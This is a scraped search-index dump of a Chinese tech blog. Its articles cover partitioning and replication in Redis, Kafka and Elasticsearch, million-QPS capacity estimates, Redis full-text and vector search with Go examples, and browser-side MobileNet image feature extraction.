的深入分析","uri":"/ddia-partition-replication-redis-kafka-es/"},{"categories":["系统架构","分布式"],"content":"Redis Redis 在集群模式下,总共划分了 2^14 = 16384 个 slot 数据槽,每个节点可以灵活分配多个 slot。数据被分配到哪个 slot 中,由对 key 进行 CRC16 计算后与 16384 取模决定。这是一种典型的 hash-based 算法。 取模运算最大的缺点就是除数(这里是数据槽的个数 16384)不能轻易改变,因为一旦改变则意味着同样的 key 可能会被分配到不同的槽中,由此会带来大量的数据迁移问题,因此 Redis 的 slot 数量被设计成了固定值。 至于分区再平衡的问题,当集群的节点数量发生改变时,Redis 本身并未提供 slot 自动调整的机制,需要用户手动调整或者使用一些第三方工具自动调整。 Redis 的复制提供了主从机制,以节点为单位,从节点同步主节点的数据,复制过程默认是异步的,可以设置多个从节点,并配置以下参数: min-replicas-to-write:可以同步数据的最少从节点数,满足时才允许主节点进行写操作。 min-replicas-max-lag:从节点允许的最大同步延迟(以秒为单位)。 replica-read-only:从节点只读,即从节点也可以处理读请求,但是要注意数据延迟导致的一致性问题。 ","date":"2024-08-22","objectID":"/ddia-partition-replication-redis-kafka-es/:3:1","tags":["系统架构","分布式"],"title":"DDIA 分布式数据的分区与复制 - 基于 Redis、Kafka、Elasticsearch 的深入分析","uri":"/ddia-partition-replication-redis-kafka-es/"},{"categories":["系统架构","分布式"],"content":"Kafka Kafka 中的节点叫 broker,分区叫 partition。分区的数量设置后只能增加不能减少。将消息分配到具体的分区的策略有: 默认轮询 基于消息进行 hash 自定义策略 复制以 partition 为单位,可以配置一主多从(多个副本),通过 replica.lag.time.max.ms 参数配置副本同步延迟的最大时间窗口,满足条件的副本统称为 ISR(In-Sync Replicas)。 数据写入受以下影响: 消息生产者 acks 参数: acks 为 0 :不等待 broker 的确认,这意味着消息可能投递不成功,一般不会使用。 acks 为 1 :等待 leader partition 确认写入即可,不等待 follower 。 acks 为 all 或者 -1 :必须等待 follower 确认。 min.insync.replicas 参数:配合 acks=all 使用,确认写入的最少 ISR 副本数。 Kafka 的 follower partition(从分区)不提供消费能力,只用作冗余备份和故障切换。 ","date":"2024-08-22","objectID":"/ddia-partition-replication-redis-kafka-es/:3:2","tags":["系统架构","分布式"],"title":"DDIA 分布式数据的分区与复制 - 基于 Redis、Kafka、Elasticsearch 的深入分析","uri":"/ddia-partition-replication-redis-kafka-es/"},{"categories":["系统架构","分布式"],"content":"Elasticsearch 在 Elasticsearch 中,数据称为 document 文档,分片统称 shard,又细分为 primary shard 主分片和 replica shard 副本分片。 数据默认根据文档 id(也可以配置为文档中的其它值)取哈希,然后与主分片数取模,最后确认文档归属的分片。 只要看到取模运算,就知道分区数不能轻易扩展,没错,ES 里的主分片数是不能修改的。 复制以 shard 为单位,可以配置多个副本分片。副本分片与主分片的数据同步是异步的,可以通过 wait_for_active_shards 参数设置数据写入时需要确认的分片数。副本分片可以处理读请求。 倒排索引 ES 会对文档进行分词后构建倒排索引,此时就涉及到了 DDIA 中描述的分区与次级索引,前文提到有两种构建次级索引的方式:本地索引和全局索引。 ES 使用的是本地索引的方式,即每个 shard 分片内部构建自己的倒排索引。这就引发了另外的问题,当数据分布不均匀时,由于每个分片使用自身的而不是全局的 Term/Document 频率进行相关度打分,因此可能会造成打分偏差,从而影响最终搜索结果的相关性,这种情况就是默认的 search_type 为 query_then_fetch。而另一种搜索类型 dfs_query_then_fetch 则是先查询每个分片,汇总得到全局的 Term/Document 频率再进行打分,精确度是提高了,但是性能极差,一般也很少使用。 为了解决上述问题,大多会为了性能而容忍偏差,但是通过配置 routing 参数将同样的请求路由到同样的节点(保证同一个用户查询结果一致就行)。 ","date":"2024-08-22","objectID":"/ddia-partition-replication-redis-kafka-es/:3:3","tags":["系统架构","分布式"],"title":"DDIA 分布式数据的分区与复制 - 基于 Redis、Kafka、Elasticsearch 的深入分析","uri":"/ddia-partition-replication-redis-kafka-es/"},{"categories":["系统架构","分布式"],"content":"总结 本文通过对 Redis、Kafka 和 Elasticsearch 三个常用组件的分析,展示了分布式系统中分区和复制机制的设计与实现。 可以看到哈希分区是常见的选择。基于性能和复杂度的权衡,单主异步复制往往是默认配置,但为了提供更高的数据一致性,这些组件也会提供多从复制确认的方案。 ","date":"2024-08-22","objectID":"/ddia-partition-replication-redis-kafka-es/:4:0","tags":["系统架构","分布式"],"title":"DDIA 分布式数据的分区与复制 - 基于 Redis、Kafka、Elasticsearch 的深入分析","uri":"/ddia-partition-replication-redis-kafka-es/"},{"categories":["系统架构"],"content":"典型系统架构的百万并发理论分析","date":"2024-08-15","objectID":"/million-qps-system/","tags":["系统架构"],"title":"典型系统架构的百万并发理论分析","uri":"/million-qps-system/"},{"categories":["系统架构"],"content":"引言 本文将会描述一个典型的系统架构,然后分析其在理论上是否能够支撑百万并发的请求。 ","date":"2024-08-15","objectID":"/million-qps-system/:1:0","tags":["系统架构"],"title":"典型系统架构的百万并发理论分析","uri":"/million-qps-system/"},{"categories":["系统架构"],"content":"典型系统架构及分析 为了降低复杂性,笔者将系统简化为了下图所示: 该系统架构包含的组件有: 网关层:Load Balancer / API Gateway 服务层:HTTP Server 中间件:Redis、MQ 存储层:MySQL / PostgreSQL 忽略业务场景的复杂性,让我们依次分析各个常见的组件。 ","date":"2024-08-15","objectID":"/million-qps-system/:2:0","tags":["系统架构"],"title":"典型系统架构的百万并发理论分析","uri":"/million-qps-system/"},{"categories":["系统架构"],"content":"Load Balancer 负责均衡 \u0026 API 网关: 负责均衡主要关注的是流量分发这一单一功能。 API 网关涉及更广泛的功能集,包括但不限于 API 管理、安全、转换、监控等。 两者在具体的产品上界限比较模糊。 LB 按类型可分为:硬件负载均衡器、软件负载均衡器、云负载均衡器。 常用的开源软件 LB 包括:Nginx、HAProxy、Kong、Traefik、Envoy 等等。 常见 LB 支持的 RPS(Requests Per Second) 从几万到几十万不等,依赖于硬件和配置。在高性能硬件配置的情况下可以支持百万请求转发。而云服务商提供的 LB 宣称支持百万、千万级别。 参考资料: HAProxy 单实例每秒两百万请求转发 AWS NLB 支持每秒百万请求 ","date":"2024-08-15","objectID":"/million-qps-system/:2:1","tags":["系统架构"],"title":"典型系统架构的百万并发理论分析","uri":"/million-qps-system/"},{"categories":["系统架构"],"content":"HTTP Server 忽略业务处理逻辑,HTTP Server 根据编程语言框架的不同,RPS 从几万到几十万不等,甚至能达到几百万。由于无状态的特性,HTTP Server 也很容易进行横向扩展,因此支持百万并发完全没有问题。 如下图所示: 参考资料: Web Framework Benchmark ","date":"2024-08-15","objectID":"/million-qps-system/:2:2","tags":["系统架构"],"title":"典型系统架构的百万并发理论分析","uri":"/million-qps-system/"},{"categories":["系统架构"],"content":"Redis 一般情况我们认为 Redis 单机 QPS 可以达到 10 万,根据 Redis Cluster 的线性扩展性理论(单机 QPS 为 m,那么 n 台机器的集群的总 QPS 为 m * n,官方文档说集群上限可以有 1000 个节点),Redis 集群可以支撑百万级、甚至千万 QPS。而 AWS 扩展到了单集群 5 亿 QPS。 参考资料: Redis Cluster Spec AWS 将 Redis 集群扩展到了 5 亿 QPS 且响应时间为微秒 ","date":"2024-08-15","objectID":"/million-qps-system/:2:3","tags":["系统架构"],"title":"典型系统架构的百万并发理论分析","uri":"/million-qps-system/"},{"categories":["系统架构"],"content":"MQ 对于消息队列,我们把百万并发转换成其每秒接受百万条消息的能力,由于 MQ 往往是追加写入,再加上集群的支持,支撑百万并发也没有什么问题。 参考资料: Kafka 在三台廉价机器上进行每秒 2 百万写入 ","date":"2024-08-15","objectID":"/million-qps-system/:2:4","tags":["系统架构"],"title":"典型系统架构的百万并发理论分析","uri":"/million-qps-system/"},{"categories":["系统架构"],"content":"MySQL / PostgreSQL 如下是某云服务商提供的 MySQL 5.7 性能测试数据: 从图中可以看到即使是 16C64G 并发度 128 的情况下支持的 QPS 也不到 14 万,TPS 不到 7000。另外再考虑连接数和线程的限制(MySQL 会为每条连接建立一个线程),数据库想要直接支持百万 QPS 不可能,传统关系型数据库是一个明显的瓶颈点,只能做分库、缓存、限流等措施。 参考资料: MySQL 5.7 性能测试 ","date":"2024-08-15","objectID":"/million-qps-system/:2:5","tags":["系统架构"],"title":"典型系统架构的百万并发理论分析","uri":"/million-qps-system/"},{"categories":["系统架构"],"content":"网络 网络带宽是一个不可忽视的点。 数据中心的网络带宽常见规格有:10 Gbps、40 Gbps、100 Gbps、400 Gbps 甚至更高。 以 10 Gbps 为例,10 Gbps = 1.25 GB/s,假设每个请求大小是 1 KB,那么每秒 1 百万请求则需要 1 GB/s,可以看出来 10 Gbps 的带宽接近极限。 ","date":"2024-08-15","objectID":"/million-qps-system/:2:6","tags":["系统架构"],"title":"典型系统架构的百万并发理论分析","uri":"/million-qps-system/"},{"categories":["系统架构"],"content":"总结 本文化繁为简,以一个典型的系统架构为例,从理论上分析了各个组件的性能上限,以及对百万并发的支撑情况。对常用组件心中有数,在系统设计时才能有理有据。至于真实业务场景下的系统最大并发数,则只能由系统压测得到结果。 ","date":"2024-08-15","objectID":"/million-qps-system/:3:0","tags":["系统架构"],"title":"典型系统架构的百万并发理论分析","uri":"/million-qps-system/"},{"categories":["Middleware"],"content":"Redis 全文检索及使用示例","date":"2024-07-15","objectID":"/redis-full-text/","tags":["Redis"],"title":"Redis 全文检索及使用示例","uri":"/redis-full-text/"},{"categories":["Middleware"],"content":"序言 Redis 除了我们所熟知的缓存功能之外,还通过 RedisJSON、RediSearch、RedisTimeSeries、RedisBloom 等模块支持了 JSON 数据、查询与搜索(包括全文检索、向量搜索、GEO 地理位置等)、时序数据、概率计算等等扩展功能。这些模块既可以按需导入,也被全部打包到了 Redis Stack 中方便我们直接使用。 本文将会简述如何使用 Redis 进行全文检索。 ","date":"2024-07-15","objectID":"/redis-full-text/:1:0","tags":["Redis"],"title":"Redis 全文检索及使用示例","uri":"/redis-full-text/"},{"categories":["Middleware"],"content":"Redis 全文检索 ","date":"2024-07-15","objectID":"/redis-full-text/:2:0","tags":["Redis"],"title":"Redis 全文检索及使用示例","uri":"/redis-full-text/"},{"categories":["Middleware"],"content":"全文检索 全文检索是一种文本检索技术,其根据用户输入的词语或句子,在大量的文档数据中快速找到相关的内容。 全文检索的核心概念包括: 分词:将文档(文本内容)拆分为一个个独立的词。 倒排索引:一种索引类型,将词与文档进行关联,以便后续查询。 相关度评分:对搜索结果的相关性进行评分。 ","date":"2024-07-15","objectID":"/redis-full-text/:2:1","tags":["Redis"],"title":"Redis 全文检索及使用示例","uri":"/redis-full-text/"},{"categories":["Middleware"],"content":"使用示例 本文将会使用一个公开的电影数据集,构建一个电影搜索系统。 数据集 数据格式如下图所示: 为了行文方便,本文只会使用以下几个字段: _id:唯一标识 title:电影标题 directors:导演 genres:电影类型 summary:内容摘要 rating:评分 我们使用 Redis 的 JSON 格式存储数,导入数据使用的是 JSON.SET 命令: JSON.SET movieID:1 $ '{\"directors\":\"马丁·里特\",\"genres\":[\"剧情\",\"动作\",\"西部\"],\"rating\":8.0,\"title\":\"野狼 Hombre\",\"summary\":\"约翰·罗塞尔自幼是老罗塞尔先生从战俘中带回来并抚养他长大的,但是他生性豪放不羁……\"}' 需要说明的是,Redis 是一个 key-value 数据库,JSON 只是 value 的格式之一,而 key 总是一个字符串,key 在本文中定义为了 movieID:12345 这种固定前缀加 ID 的格式。 使用 Go 批量导入的部分代码如下: func BuildDataset() { movies, _ := ReadMovieJSON() rds := getRedisClient() ctx := context.Background() for _, v := range movies { b, _ := json.Marshal(v) if r := rds.JSONSet(ctx, \"movieID:\"+v.ID, \"$\", b); r.Err() != nil { panic(r.Err()) } } } 构建索引 为了进行全文检索,我们必须要使用 FT.CREATE 构建索引: FT.CREATE movies ON JSON PREFIX 1 movieID: LANGUAGE Chinese SCHEMA $.title as title TEXT WEIGHT 3 $.directors.*.name as directors TAG $.genres.* as genres TAG $.summary as summary TEXT $.rating.average as rating NUMERIC 这个命令的意思是: 我们基于 JSON 数据创建了一个名为 movies 的索引 该索引作用于前缀为 movieID: 的所有 key 使用中文分词 索引有以下字段: title: 类型为 TEXT,权重为 3 directors: 类型为 TAG genres: 类型为 TAG summary: 类型为 TEXT rating: 类型为 NUMERIC 索引是独立存在的,删除索引不会影响原始 key-value 数据。 在创建完索引之后,新增或修改的文档会同步构建索引,而对于创建索引之前已有的文档则会在后台异步构建索引。 使用全文检索 检索基础 全文检索(任何字段包含爱情): FT.SEARCH movies '爱情' RETURN 返回指定字段: FT.SEARCH movies '爱情' RETURN 2 title directors HIGHLIGHT 高亮: FT.SEARCH movies '爱情' RETURN 2 title directors HIGHLIGHT FIELDS 1 title TAGS \u003cspan\u003e \u003c/span\u003e SORTBY 指定字段排序: FT.SEARCH movies '爱情' RETURN 3 title directors rating SORTBY rating DESC LIMIT offset num 分页: FT.SEARCH movies '爱情' RETURN 3 title directors rating SORTBY rating DESC LIMIT 0 10 TEXT 指定字段全文检索(电影标题含有爱情): FT.SEARCH movies '@title:爱情' RETURN 2 title directors Tag 字段匹配(导演是马丁·里特): FT.SEARCH movies '@directors:{马丁·里特}' RETURN 2 title directors 多条件组合 OR(类型是剧情或者动作): FT.SEARCH movies '@genres:{剧情|动作}' RETURN 2 title directors AND(类型是剧情或者动作且评分大于等于8.0): FT.SEARCH movies '(@genres:{剧情|动作})(@rating:[8.0,+inf])' RETURN 3 title directors rating 前缀后缀、模糊搜索 FT.SEARCH movies '@title:爱*' RETURN 1 title FT.SEARCH movies '@title:*情' RETURN 1 title FT.SEARCH movies '@title:*命*' RETURN 1 title FT.SEARCH movies '@title:%人生%' RETURN 1 title 自定义分词 与 Elasticsearch 对比,Redis 中的自定义分词这块支持比较有限,主要是: 停用词:FT.CREATE 命令中的可选参数 STOPWORDS,将会影响分词 同义词:FT.SYNUPDATE 命令 构造同义词:FT.SYNUPDATE movies group1 爱情 凌虚 那么 FT.SEARCH movies '爱情' 等价于 FT.SEARCH movies '凌虚' 自定义打分 Redis 只是提供了可选几种不同的打分算法: TFIDF(默认使用) TFIDF.DOCNORM BM25(Elasticsearch 使用的打分算法) DISMAX DOCSCORE HAMMING FT.SEARCH movies '爱情' RETURN 0 WITHSCORES SCORER BM25 如果你想要其它的自定义打分,则只能通过编写扩展的方式实现了,扩展必须用 C 语言或者与 C 有接口的编程语言来写。 索引别名 为底层索引创建一个索引别名,在搜索时则使用索引别名,如果数据需要重建索引,那么只需要将索引别名指向新的底层索引即可,这种情况下搜索端不会受到任何影响。 创建索引别名: FT.ALIASADD aliasName movies 使用索引别名进行搜索: FT.SEARCH aliasName '爱情' RETURN 0 更新索引别名: FT.ALIASUPDATE aliasName anotherIndex 删除索引别名: FT.ALIASDEL aliasName Go 示例代码 使用的是 go-redis 库: func cmdStringToArgs(rdscmd string) (result []interface{}) { re := regexp.MustCompile(`\\s+`) slice := re.Split(rdscmd, -1) for _, v := range slice { if v != \"\" \u0026\u0026 v != \" \" { result = append(result, v) } } return } func ExcuteCommand(rdscmd string) { rds := getRedisClient() ctx := context.Background() args := cmdStringToArgs(rdscmd) res, err := rds.Do(ctx, args...).Result() if err != nil { panic(err) } fmt.Println(\"RESULT:\", res) } 测试代码: func TestExcuteCommand(t *testing.T) { cases := []string{ // 全文检索(任何字段包含爱情): `FT.SEARCH movies '爱情'`, // RETURN 返回指定字段: `FT.SEARCH movies '爱情' RETURN 2 title directors`, // ...... } for _, v := range cases { ExcuteCommand(v) } } ","date":"2024-07-15","objectID":"/redis-full-text/:2:2","tags":["Redis"],"title":"Redis 全文检索及使用示例","uri":"/redis-full-text/"},{"categories":["Middleware"],"content":"总结 相较于 Elasticsearch 这个全文搜索领域的榜一大哥,Redis 支持的功能特性比较少(例如自定义分词和打分),但是基本的全文检索功能也都具备了。 笔者曾见过只有几十万数据却整了三台 Elasticsearch 集群的情况,这实在是大炮打蚊子、严重浪费资源。如果数据体量比较小,而且检索的使用场景也比较简单,那么使用 Redis 不仅足够,在性能方面还能有更大的优势。 参考资料: https://redis.io/docs/latest/develop/interact/search-and-query/ https://redis.io/docs/latest/commands/ft.create/ https://redis.io/docs/latest/commands/ft.search/ ","date":"2024-07-15","objectID":"/redis-full-text/:3:0","tags":["Redis"],"title":"Redis 全文检索及使用示例","uri":"/redis-full-text/"},{"categories":["Middleware"],"content":"Redis 向量搜索","date":"2024-07-09","objectID":"/redis-vector/","tags":["Redis"],"title":"Redis 向量搜索","uri":"/redis-vector/"},{"categories":["Middleware"],"content":"序言 Redis 除了我们所熟知的缓存功能之外,还通过 RedisJSON、RediSearch、RedisTimeSeries、RedisBloom 等模块支持了 JSON 数据、查询与搜索(包括全文搜索、向量搜索、GEO 地理位置等)、时序数据、概率计算等等扩展功能。这些模块既可以按需导入,也被全部打包到了 Redis Stack 中方便我们直接使用。 本文将会简述 Redis 如何作为向量数据库使用。 ","date":"2024-07-09","objectID":"/redis-vector/:1:0","tags":["Redis"],"title":"Redis 向量搜索","uri":"/redis-vector/"},{"categories":["Middleware"],"content":"Redis 作为向量数据库 假设我们使用 Redis 来完成以图搜图服务,核心数据有: photoID:每个图片的唯一ID userID:图片所属的用户ID,后续查询时可以作为过滤条件 vector:每个图片的特性向量 ","date":"2024-07-09","objectID":"/redis-vector/:2:0","tags":["Redis"],"title":"Redis 向量搜索","uri":"/redis-vector/"},{"categories":["Middleware"],"content":"创建索引 \u0026 插入向量 为此,我们使用 JSON 格式来保存数据,并使用 FT.CREATE 命令创建索引(由于向量计算的特殊性,必须创建索引才能进行搜索): FT.CREATE photos ON JSON PREFIX 1 photoID: SCORE 1.0 SCHEMA $.userID as userID NUMERIC $.vector AS vector VECTOR FLAT 6 TYPE FLOAT32 DIM 512 DISTANCE_METRIC L2 上述命令的意思是: 我们基于 JSON 创建了一个名为 photos 的索引 该索引作用于前缀为 photoID: 的所有 key JSON 数据中有两个字段: 一个字段是 userID ,类型为 NUMERIC 数字 另一个字段是 vector,类型为 VECTOR 向量,该向量字段使用的相似性算法是 FLAT(目前只支持 FLAT 和 HNSW),6 表示命令后面跟着 6 个参数,TYPE FLOAT32 表示向量中元素的类型,DIM 512 表示向量的维度是 512,DISTANCE_METRIC L2 表示计算向量距离使用的是 L2 欧几里得距离(除了 L2 之外还支持 IP 内积和 COSINE 余弦距离) 代码示例(已经有很多文章示例用的 Python,本文决定用 Go 来实现): package redis_test import ( \"bytes\" \"context\" \"encoding/binary\" \"encoding/json\" \"fmt\" \"math/rand\" \"strconv\" \"github.com/redis/go-redis/v9\" ) func GenVectorArr(dim int) []float32 { vectors := make([]float32, dim) for i := 0; i \u003c dim; i++ { vectors[i] = rand.Float32() } return vectors } type Photos struct { ID int `json:\"-\"` UserID int `json:\"userID\"` Vector []float32 `json:\"vector\"` } var rds *redis.Client func getRedisClient() *redis.Client { if rds == nil { rds = redis.NewClient(\u0026redis.Options{ Addr: \"your-redis-host\", Username: \"xxxx\", Password: \"xxxx\", }) } return rds } func CreateVector() { rdb := getRedisClient() ctx := context.Background() rdb.FlushAll(ctx) // 创建索引: // FT.CREATE photos ON JSON // PREFIX 1 photoID: SCORE 1.0 // SCHEMA // $.userID as userID NUMERIC // $.vector AS vector VECTOR FLAT 6 TYPE FLOAT32 DIM 512 DISTANCE_METRIC L2 val, err := rdb.Do(ctx, \"FT.CREATE\", \"photos\", \"ON\", \"JSON\", \"PREFIX\", \"1\", \"photoID:\", \"SCORE\", \"1.0\", \"SCHEMA\", \"$.userID\", \"as\", \"userID\", \"NUMERIC\", \"$.vector\", \"as\", \"vector\", \"VECTOR\", \"FLAT\", \"6\", \"TYPE\", \"FLOAT32\", \"DIM\", \"512\", \"DISTANCE_METRIC\", \"L2\").Result() if err != nil { panic(err) } fmt.Println(\"FT.CREATE:\", val.(string)) // 插入 1000 个向量 for i := 0; i \u003c 1000; i++ { photo := Photos{ ID: 100000 + i, UserID: 200000 + (i / 100), Vector: GenVectorArr(512), } photobytes, _ := json.Marshal(photo) if r := rdb.JSONSet(ctx, \"photoID:\"+strconv.Itoa(photo.ID), \"$\", photobytes); r.Err() != nil { panic(r.Err()) } } } 示例中,我们使用 JSON.SET 插入了 1000 个随机生成的 512 维向量。 查看单个数据占用的内存大小可以使用 JSON.DEBUG MEMORY 命令: \u003e JSON.DEBUG memory photoID:100000 (integer) 16552 可以看到我们的单条数据使用了约 16 KB 内存,以此类推 1000 条数据需要 16 MB 内存,1 百万数据需要 16 GB 内存。 查看索引信息则可以使用 FT.INFO 命令。 ","date":"2024-07-09","objectID":"/redis-vector/:2:1","tags":["Redis"],"title":"Redis 向量搜索","uri":"/redis-vector/"},{"categories":["Middleware"],"content":"向量搜索 向量搜索使用的命令是 FT.SEARCH。 搜索示例 1: FT.SEARCH photos \"*=\u003e[KNN 10 @vector $BLOB AS my_scores]\" RETURN 1 $.userID PARAMS 2 BLOB \"查询向量\" SORTBY my_scores DIALECT 2 含义是: 在 photos 索引上进行向量搜索, \"*=\u003e[KNN 10 @vector $BLOB AS my_scores]\" 搜索范围是 * 既索引的全部数据,执行的是 KNN 搜索,返回 10 个文档,搜索字段是 vector,相似度分数定义为 my_scores RETURN 1 $.userID 搜索结果只返回 userID 字段(由于 vector 字段比较大,取回会浪费网络传输时间,所以用不到的话就忽略) PARAMS 2 两个查询参数 BLOB \"查询向量\" 通过二进制传输查询向量 SORTBY my_scores 排序 DIALECT 2 执行查询的 dialect 版本 搜索示例 2,增加预过滤: FT.SEARCH photos \"(@userID:[200000,200000])=\u003e[KNN $K @vector $BLOB AS my_scores]\" RETURN 1 $.userID PARAMS 4 BLOB \"查询向量\" K 3 SORTBY my_scores DIALECT 2 通过设置 userID 的范围对索引中的部分数据进行向量搜索。 代码示例: // Float32SliceToBytes converts a []float32 to a byte slice (BLOB). func Float32SliceToBytes(data []float32) ([]byte, error) { buf := new(bytes.Buffer) err := binary.Write(buf, binary.LittleEndian, data) if err != nil { return nil, err } return buf.Bytes(), nil } func SearchVector() { rdb := getRedisClient() ctx := context.Background() // 构造查询向量 searchVector := GenVectorArr(512) searchBlob, _ := Float32SliceToBytes(searchVector) // KNN 向量搜索,对 vector 字段进行向量搜索,返回 10 个文档,按照与查询向量的距离对结果进行排序: // FT.SEARCH photos \"*=\u003e[KNN 10 @vector $BLOB AS my_scores]\" RETURN 1 $.userID PARAMS 2 BLOB \"查询向量\" SORTBY my_scores DIALECT 2 val, err := rdb.Do(ctx, \"FT.SEARCH\", \"photos\", \"*=\u003e[KNN 10 @vector $BLOB AS my_scores]\", \"RETURN\", \"1\", \"$.userID\", \"PARAMS\", \"2\", \"BLOB\", searchBlob, \"SORTBY\", \"my_scores\", \"DIALECT\", \"2\").Result() if err != nil { panic(err) } fmt.Println(\"FT.SEARCH:\", val) // KNN 向量搜索,增加预过滤条件 // FT.SEARCH photos \"(@userID:[200000,200000])=\u003e[KNN $K @vector $BLOB AS my_scores]\" RETURN 1 $.userID PARAMS 4 BLOB \"查询向量\" K 3 SORTBY my_scores DIALECT 2 r2, err := rdb.Do(ctx, \"FT.SEARCH\", \"photos\", \"(@userID:[200000,200000])=\u003e[KNN $K @vector $BLOB AS my_scores]\", \"RETURN\", \"1\", \"$.userID\", \"PARAMS\", \"4\", \"BLOB\", searchBlob, \"K\", \"3\", \"SORTBY\", \"my_scores\", \"DIALECT\", \"2\").Result() if err != nil { panic(err) } fmt.Println(\"-------------------------\") fmt.Println(\"FT.SEARCH with filter total results:\", r2) } ","date":"2024-07-09","objectID":"/redis-vector/:2:2","tags":["Redis"],"title":"Redis 向量搜索","uri":"/redis-vector/"},{"categories":["Middleware"],"content":"性能 Redis 官方专门写过一篇文章 Benchmarking results for vector databases。 其结论就是不论是吞吐量还是搜索延时,Redis 作为向量数据库在测试中表现得最好。 另外由于向量计算比较耗时,如果仍然放在单线程中完成,一定会发生阻塞影响后续调用,所以针对搜索场景,Redis 使用了多线程的方式进行了改进: 更多信息请查阅上述官方文章。 最后,如果我们的数据量并不大,那么使用 Redis 作为向量数据库也是一个很好的选择。 参考资料: https://redis.io/blog/benchmarking-results-for-vector-databases/ https://cookbook.openai.com/examples/vector_databases/redis/getting-started-with-redis-and-openai https://redis.io/docs/latest/develop/get-started/vector-database/ https://redis.io/docs/latest/develop/interact/search-and-query/advanced-concepts/vectors/ https://redis.io/docs/latest/develop/interact/search-and-query/indexing/ https://redis.io/docs/latest/develop/interact/search-and-query/query/vector-search/ ","date":"2024-07-09","objectID":"/redis-vector/:3:0","tags":["Redis"],"title":"Redis 向量搜索","uri":"/redis-vector/"},{"categories":["Engineering"],"content":"以图搜图架构优化:使用客户端模型提取图像特征","date":"2024-07-04","objectID":"/image-search-use-client-model/","tags":["Engineering"],"title":"以图搜图架构优化:使用客户端模型提取图像特征","uri":"/image-search-use-client-model/"},{"categories":["Engineering"],"content":"序言 以图搜图系统指的是从图像内容提取特征向量,然后使用向量数据库进行向量数据的插入、删除、相似性检索等操作,进而提供根据图像内容搜索出具有相似内容的其它图像的功能。 ","date":"2024-07-04","objectID":"/image-search-use-client-model/:1:0","tags":["Engineering"],"title":"以图搜图架构优化:使用客户端模型提取图像特征","uri":"/image-search-use-client-model/"},{"categories":["Engineering"],"content":"系统架构 典型的搜图系统整体架构时序图如下: 图像上传过程: 客户端上传图像到服务端。 服务端存储图像至对象存储、插入结构化数据至关系型数据库、发送消息至 MQ 消息队列。 服务端对客户端请求返回响应。 图像搜索服务接受 MQ 的消息,下载图像内容,使用特定模型提取图像特征向量,然后将特征向量插入到向量数据库。 这里使用 MQ 的主要原因有: 异步快速响应,因为提取图像特征比较耗时,如果是同步的过程则会对客户端体验不友好。 解耦服务、服务异构,提取图像特征属于计算机视觉领域,编程语言生态基本是 Python ,而后端服务则常见于 Java、Golang、Node.js 等,这在架构上就要求服务异构和解耦。 削峰填谷,由于用户上传图像具有波峰波谷的天然特性,使用 MQ 可以使下游图像计算保持平稳。 图像搜索过程: 客户端上传图像到服务端。 服务端发起调用并将图像传递到图像搜索服务,图像搜索服务提取图像特征向量,然后查询向量数据库进行相似性搜索,最后返回向量搜索结果。 服务端根据向量搜索结果查询结构化数据,整合数据,最后响应。 我们可以看到以上系统中,比较耗时的有两部分: 图像传递链路长:客户端 -\u003e 服务端 -\u003e 对象存储 -\u003e 图像搜索服务。 图像特征计算比较耗时、且比较消耗服务器资源。 ","date":"2024-07-04","objectID":"/image-search-use-client-model/:2:0","tags":["Engineering"],"title":"以图搜图架构优化:使用客户端模型提取图像特征","uri":"/image-search-use-client-model/"},{"categories":["Engineering"],"content":"使用客户端模型优化架构 为了进一步优化系统架构,我们可以尝试使用客户端模型进行图像特征提取。 图像上传过程: 客户端向服务端请求对象存储的直传地址,然后客户端直接将图像内容传递到对象存储(需要对象存储支持直传操作)。 客户端进行本地计算,提取图像特征向量,然后传递特征向量和结构化数据给服务端。 服务端对结构化数据和向量数据分别插入到不同的数据库,完成响应。 图像搜索过程: 客户端进行本地计算,提取图像特征向量,然后传递特征向量和结构化数据给服务端。 服务端分别进行向量检索和结构化数据查询,整合数据,完成响应。 优化后的架构: 图像传递链路短,只有客户端 -\u003e 对象存储。 图像特征计算卸载到了客户端完成,服务器不需要再消耗计算资源。 减少了 MQ 和图像搜索服务这两个构件,架构更加简单、复杂度降低。 ","date":"2024-07-04","objectID":"/image-search-use-client-model/:3:0","tags":["Engineering"],"title":"以图搜图架构优化:使用客户端模型提取图像特征","uri":"/image-search-use-client-model/"},{"categories":["Engineering"],"content":"客户端模型的可行性和约束 客户端相比于服务端具有硬件资源有限、且不可扩展的特点,因此这就要求客户端使用的模型要更小、计算消耗更少。 我们根据上图中的模型对比可以看到 mobilenet 这种模型更符合我们的需求(模型的名字就能看出来)。 ","date":"2024-07-04","objectID":"/image-search-use-client-model/:4:0","tags":["Engineering"],"title":"以图搜图架构优化:使用客户端模型提取图像特征","uri":"/image-search-use-client-model/"},{"categories":["Engineering"],"content":"示例 以下给出一个前端使用 mobilenet 完成图像特征提取的示例: \u003c!DOCTYPE html\u003e \u003chtml lang=\"en\"\u003e \u003chead\u003e \u003cmeta charset=\"UTF-8\"\u003e \u003cscript src=\"https://cdn.jsdelivr.net/npm/@tensorflow/tfjs\"\u003e\u003c/script\u003e \u003cscript src=\"https://cdn.jsdelivr.net/npm/@tensorflow-models/mobilenet\"\u003e\u003c/script\u003e \u003c/head\u003e \u003cbody\u003e \u003cinput type=\"file\" id=\"imageInput\"\u003e \u003cbutton onclick=\"extractFeatures()\"\u003eExtract Features\u003c/button\u003e \u003cpre id=\"result\"\u003e\u003c/pre\u003e \u003cscript\u003e let model; async function loadModel() { if (!model) { // 加载模型时 mobilenet 会去 storage.googleapis.com 下载 model = await mobilenet.load({version: 2, alpha: 1.0}); } return model; } function preprocessImage(image) { const tensor = tf.browser.fromPixels(image) .resizeNearestNeighbor([224, 224]) .toFloat() .expandDims(); return tensor.div(255.0); } async function extractFeatures() { const input = document.getElementById('imageInput'); if (input.files.length === 0) { alert('Please select an image file first.'); return; } const model = await loadModel(); const timeStart = Date.now(); const file = input.files[0]; const reader = new FileReader(); reader.onload = async function (e) { const image = new Image(); image.src = e.target.result; image.onload = async function () { const processedImage = preprocessImage(image); const features = model.infer(processedImage, false); // 去掉最后的全连接层 const featuresArray = await features.array(); document.getElementById('result').textContent = JSON.stringify(featuresArray, null, 2); console.log(`Extract feature spend: ${Date.now() - timeStart} ms`);; } } reader.readAsDataURL(file); } \u003c/script\u003e \u003c/body\u003e \u003c/html\u003e 然后在我的笔记本电脑简单测试的结果: 从上图可以看到,在我的客户端处理一张图像可以在一秒内完成,当然实际耗时取决于硬件资源和图像大小。 最后,如果你对此类主题感兴趣,可以阅读我的其它相关文章。 参考资料: https://keras.io/api/applications/ https://www.tensorflow.org/js/models https://github.com/tensorflow/tfjs-models/tree/master/mobilenet 